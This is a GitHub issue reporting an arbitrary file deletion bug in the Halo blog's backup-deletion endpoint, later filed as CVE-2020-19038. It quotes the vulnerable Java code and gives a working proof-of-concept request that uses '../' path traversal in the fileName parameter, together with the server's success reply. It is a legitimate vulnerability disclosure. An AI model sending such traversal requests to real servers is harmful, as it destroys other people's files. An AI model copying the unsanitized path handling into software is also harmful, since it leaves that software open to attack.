New issue

Jump to bottom

Any file deletion in the background #136

Closed 5 of 6 tasks **kingz40o** opened this issue on Apr 4, 2019 · 2 comments

Labels vulnerability

kingz40o commented on Apr 4, 2019 • edited

我确定我已经查看了 (标注 [ ] 为 [x])

- [x] Halo 使用文档
- [x] Github Wiki 常见问题
- [x] 其他 Issues

我要申请 (标注 [ ] 为 [x])

- [x] BUG 反馈
- [ ] 添加新的特性或者功能
- [x] 请求技术支持

There is an arbitrary file deletion vulnerability in the backup file deletion.

```
@GetMapping(value = "delBackup")
    @ResponseBody
    public JsonResult delBackup(@RequestParam("fileName") String fileName,
                                @RequestParam("type") String type) {
        final String srcPath = System.getProperties().getProperty("user.home") + "/halo/backup/" + type + "/" + fileName;
        try {
            FileUtil.del(srcPath);
            return new JsonResult(ResultCodeEnum.SUCCESS.getCode(), localeMessageUtil.getMessage("code.admin.common.delete-success"));
        } catch (Exception e) {
            return new JsonResult(ResultCodeEnum.FAIL.getCode(), localeMessageUtil.getMessage("code.admin.common.delete-failed"));
        }
    }
```

eg.

```
GET /admin/backup/delBackup?type=posts&fileName=../../upload/2019/3/veer-152382364201904041028503 32.jpg HTTP/1.1
Host: demo.halo.run
Connection: close
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36
Referer: https://demo.halo.run/admin/backup?type=posts
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=jLIF44HA_8IHwVFhq66-jAArsdL3Mtz_tg2GvNhO
```

Request

Raw Params Headers Hex

```
GET
/admin/backup/delBackup?type=posts&fileName=../../upload/2019/3/veer-152382364201904041028503 32.jpg HTTP/1.1
Host: demo.halo.run
Connection: close
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86
Safari/537.36
Referer: https://demo.halo.run/admin/backup?type=posts
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=jLIF44HA_8IHwVFhq66-jAArsdL3Mtz_tg2GvNhO
```

? < + > Type a search term 0 matches

Response

Raw Headers Hex

```
HTTP/1.1 200 OK
Server: nginx/1.15.8
Date: Thu, 04 Apr 2019 02:36:36 GMT
Content-Type: application/json;charset=UTF-8
Connection: close
Strict-Transport-Security: max-age=31536000
Content-Length: 62

{"code":1,"msg":"删除成功！","devMsg":null,"result":null}
```

? < + > Type a search term 0 matche

The vulnerability discoverer by Chaitin Tech.

JohnNiang added the vulnerability label on Apr 4, 2019

ruibaby commented on May 28, 2019 Member

准备发布 v1，所以关闭该 issue。

ruibaby closed this as completed on May 28, 2019

kingz40o commented on Jul 15, 2021 Author

CVE-2020-19038 was discovered by Chaitin Tech.
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-19038

> [Suggested description]
> File Deletion vulnerability in Halo 0.4.3 via delBackup.
>
> ---
>
> [VulnerabilityType Other]
> Arbitrary File Delection
>
> ---
>
> [Vendor of Product]
> https://github.com/halo-dev/halo/
>
> ---
>
> [Affected Product Code Base]
> halo - 0.4.3
>
> ---
>
> [Affected Component]
> After the administrator logged in, open the exp page,specify the file to be deleted by the fileName parameter.
> https://github.com/halo-dev/halo/issues/136
>
> [Impact Information Disclosure]
> true
>
> ---
>
> [Attack Vectors]
> After the administrator logged in, open the exp page,specify the file to be deleted by the fileName parameter.
> https://github.com/halo-dev/halo/issues/136
>
> ---
>
> [Reference]
> https://github.com/halo-dev/halo/issues/136
>
> ---
>
> [Has vendor confirmed or acknowledged the vulnerability?]
> true
>
> ---
>
> [Discoverer]
> chaitin.com

Use CVE-2020-19038.

Assignees

No one assigned

Labels

vulnerability

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

3 participants